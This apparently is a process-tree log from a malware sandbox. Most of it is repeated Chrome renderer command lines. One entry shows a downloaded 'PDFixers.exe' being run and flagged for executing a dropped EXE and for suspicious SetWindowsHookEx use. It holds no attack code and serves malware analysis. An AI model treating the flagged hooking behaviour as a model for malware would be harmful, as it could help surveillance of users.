C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=149 --mojo-platform-channel-handle=10408 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=150 --mojo-platform-channel-handle=10512 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=151 --mojo-platform-channel-handle=10612 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=152 --mojo-platform-channel-handle=10732 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=153 --mojo-platform-channel-handle=10752 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=154 --mojo-platform-channel-handle=9872 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=155 --mojo-platform-channel-handle=11256 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=156 --mojo-platform-channel-handle=9620 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=157 --mojo-platform-channel-handle=11204 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=158 --mojo-platform-channel-handle=10924 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=159 --mojo-platform-channel-handle=7684 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=8684 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6608 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=11924 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=12132 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=12012 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=165 --mojo-platform-channel-handle=12028 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=166 --mojo-platform-channel-handle=12112 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=167 --mojo-platform-channel-handle=11940 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=168 --mojo-platform-channel-handle=8468 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=169 --mojo-platform-channel-handle=9260 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=170 --mojo-platform-channel-handle=6924 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=171 --mojo-platform-channel-handle=9400 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=172 --mojo-platform-channel-handle=9492 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=173 --mojo-platform-channel-handle=9508 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=174 --mojo-platform-channel-handle=9448 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=175 --mojo-platform-channel-handle=12476 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=176 --mojo-platform-channel-handle=4968 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Users\Admin\Downloads\PDFixers.exe"C:\Users\Admin\Downloads\PDFixers.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=177 --mojo-platform-channel-handle=12120 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=178 --mojo-platform-channel-handle=9868 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=179 --mojo-platform-channel-handle=11724 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=180 --mojo-platform-channel-handle=11564 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=181 --mojo-platform-channel-handle=11624 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=182 --mojo-platform-channel-handle=5316 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=183 --mojo-platform-channel-handle=11612 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=184 --mojo-platform-channel-handle=12228 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=185 --mojo-platform-channel-handle=9596 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=186 --mojo-platform-channel-handle=12084 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=187 --mojo-platform-channel-handle=3976 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=188 --mojo-platform-channel-handle=10172 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=189 --mojo-platform-channel-handle=7204 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=190 --mojo-platform-channel-handle=9440 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=191 --mojo-platform-channel-handle=6004 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=192 --mojo-platform-channel-handle=11884 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=193 --mojo-platform-channel-handle=11852 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=194 --mojo-platform-channel-handle=10108 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=195 --mojo-platform-channel-handle=11600 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=196 --mojo-platform-channel-handle=6888 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=197 --mojo-platform-channel-handle=12340 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=198 --mojo-platform-channel-handle=7456 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=199 --mojo-platform-channel-handle=6692 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=200 --mojo-platform-channel-handle=6980 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=201 --mojo-platform-channel-handle=11412 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=202 --mojo-platform-channel-handle=9460 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=203 --mojo-platform-channel-handle=10252 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=204 --mojo-platform-channel-handle=8588 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=205 --mojo-platform-channel-handle=2736 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=206 --mojo-platform-channel-handle=7980 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=207 --mojo-platform-channel-handle=6036 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=208 --mojo-platform-channel-handle=11276 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=209 --mojo-platform-channel-handle=4976 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=210 --mojo-platform-channel-handle=3472 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=211 --mojo-platform-channel-handle=6932 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=212 --mojo-platform-channel-handle=5404 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=213 --mojo-platform-channel-handle=5560 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=214 --mojo-platform-channel-handle=5908 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=215 --mojo-platform-channel-handle=6832 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=216 --mojo-platform-channel-handle=4232 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=217 --mojo-platform-channel-handle=9248 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=218 --mojo-platform-channel-handle=9856 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=219 --mojo-platform-channel-handle=3264 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=220 --mojo-platform-channel-handle=10304 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=221 --mojo-platform-channel-handle=3692 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=222 --mojo-platform-channel-handle=10520 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=223 --mojo-platform-channel-handle=10432 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=224 --mojo-platform-channel-handle=10380 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=225 --mojo-platform-channel-handle=7772 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=226 --mojo-platform-channel-handle=8336 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
